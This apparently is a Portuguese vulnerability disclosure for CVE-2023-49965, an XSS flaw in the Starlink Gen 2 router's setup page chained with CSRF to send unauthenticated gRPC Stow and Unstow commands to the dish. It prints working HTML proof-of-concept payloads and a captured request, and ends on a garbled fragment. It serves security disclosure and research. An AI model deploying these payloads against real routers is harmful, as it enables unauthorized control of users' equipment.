yoshida-git-ai/spacex-starlink-router-gen-2-xssCVE-2023-49965 | SpaceX / Roteador Starlink Gen 2 XSS
Você pode ver a versão coreana do post aqui :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
Uma vulnerabilidade de Cross-Site Scripting (XSS) na página inicial do captive portal do roteador de segunda geração poderia permitir que um invasor assumisse o controle do roteador e do Dishy.
A vulnerabilidade é causada pela filtragem insuficiente dos valores de entrada para os parâmetros ssid e password na página de configuração inicial do roteador (http://192.168.1.1/setup).
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
Esta vulnerabilidade de Cross-Site Scripting (XSS) pode ser aproveitada em conjunto com um ataque de Cross-Site Request Forgery (CSRF), conforme mostrado na prova de conceito acima.
Normalmente, a página do captive portal deveria estar ativa apenas no endereço interno do roteador, 192.168.1.1, mas havia um bug em roteadores mais antigos que permitia que a página do captive portal fosse acessada inesperadamente a partir do endereço interno do Dishy, 192.168.100.1.
http://192.168.1.1/setup → A página do captive portal é exibida corretamente.
http://192.168.100.1/setup → A página do captive portal também é exibida neste endereço.
(Normalmente, o acesso à página do captive portal não deveria ser possível no endereço interno do Dishy, 192.168.100.1.)
Usar esse bug juntamente com a vulnerabilidade de Cross-Site Scripting (XSS) permite contornar a Política de Mesma Origem (SOP) do navegador, possibilitando o controle tanto do Roteador quanto do Dishy.
Pode-se confirmar que a mesma vulnerabilidade de Cross-Site Scripting (XSS) ocorre no endereço http://192.168.100.1/setup.
Agora vamos ver como posso aproveitar esses bugs para assumir o controle do Roteador e do Dishy.
Quando o comando Stow é emitido pela interface do administrador, a seguinte Requisição HTTP é enviada ao Dishy.
(Nota: O comando Stow permite que a antena do Dishy seja dobrada para movimento ou armazenamento.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
O cabeçalho desta Requisição contém várias informações importantes.
x-grpc-web: 1
Isso indica o uso do protocolo gRPC-Web.
(gRPC-Web é um protocolo que permite que clientes web façam chamadas gRPC a um servidor.)
content-type: application/grpc-web+proto
Significa que os dados transmitidos usam o protocolo gRPC e estão codificados no formato protobuf.
Corpo da Requisição
Corpo da requisição de Stow do Dishy (Hex)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
O corpo da requisição contém dados no formato grpc-web+proto, que provavelmente contêm os detalhes do comando Stow.
Reunindo essas informações, quando um usuário emite um comando Stow usando a interface de administração, o comando é enviado ao Dishy via gRPC, que dobra o Dishy em um estado portátil.
No entanto, se você olhar para a requisição, notará que não há autenticação para o usuário que a envia.
Isso significa que alguém que não seja um administrador poderia enviar a mesma requisição e assumir o controle do Dishy sem autorização. Mas esta vulnerabilidade exige que o invasor tenha acesso físico à rede local, o que limita o escopo do ataque em comparação com ataques que podem ocorrer remotamente.
Se for esse o caso, você pode estar pensando que é possível tentar um ataque de Cross-Site Request Forgery (CSRF) com um payload que envia a mesma requisição.
Embora isso seja um cenário possível, a Política de Mesma Origem (SOP) do navegador limita este ataque.
gRPC requer um cabeçalho content-type específico chamado application/grpc-web+proto.
No entanto, a Política de Mesma Origem (SOP) faz com que os navegadores removam este cabeçalho ao enviar requisições de outras origens.
Isso torna impossível enviar requisições gRPC ao Dishy externamente em circunstâncias normais.
Normalmente, uma Política de Mesma Origem (SOP) restringe os navegadores de fazer requisições de origens diferentes.
No entanto, com uma vulnerabilidade de Cross-Site Scripting (XSS), um invasor pode executar um script dentro do navegador da vítima.
Scripts injetados por um invasor usando uma vulnerabilidade de Cross-Site Scripting (XSS) são considerados como tendo sido executados a partir da mesma origem (ou seja, o site em que a vítima está atualmente).
Por causa disso, a Política de Mesma Origem (SOP) reconhece as requisições geradas por esses scripts como vindas da mesma origem e, portanto, as restrições da Política de Mesma Origem (SOP) não se aplicam neste caso.
Portanto, em um ataque de Cross-Site Request Forgery (CSRF) usando uma vulnerabilidade de Cross-Site Scripting (XSS) que requer um cabeçalho content-type específico, como uma requisição gRPC, como o script de ataque está sendo executado dentro do navegador da vítima, a requisição é reconhecida como uma requisição legítima e enviada com este cabeçalho content-type específico.
Por exemplo, ao encadear um bug em 192.168.100.1 e a vulnerabilidade de Cross-Site Scripting (XSS), um invasor poderia enviar um script malicioso para intermediar o navegador de um usuário e enviar uma requisição grpc para comandar o Roteador ou Dishy. (O invasor poderia enviar uma variedade de requisições grpc, incluindo os comandos Stow e Unstow do Dishy).
Portanto, ao encadear a vulnerabilidade de Cross-Site Scripting (XSS) e o bug mencionado, um payload que envia uma requisição Stow gRPC ao Dishy pode ser construído da seguinte forma: (O resultado é que um invasor pode assumir remotamente o controle do roteador ou do Dishy. Por exemplo, eles poderiam enviar comandos grpc para alterar configurações do roteador ou manipular a funcionalidade do Dishy.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD)2023.48.0 e superiores)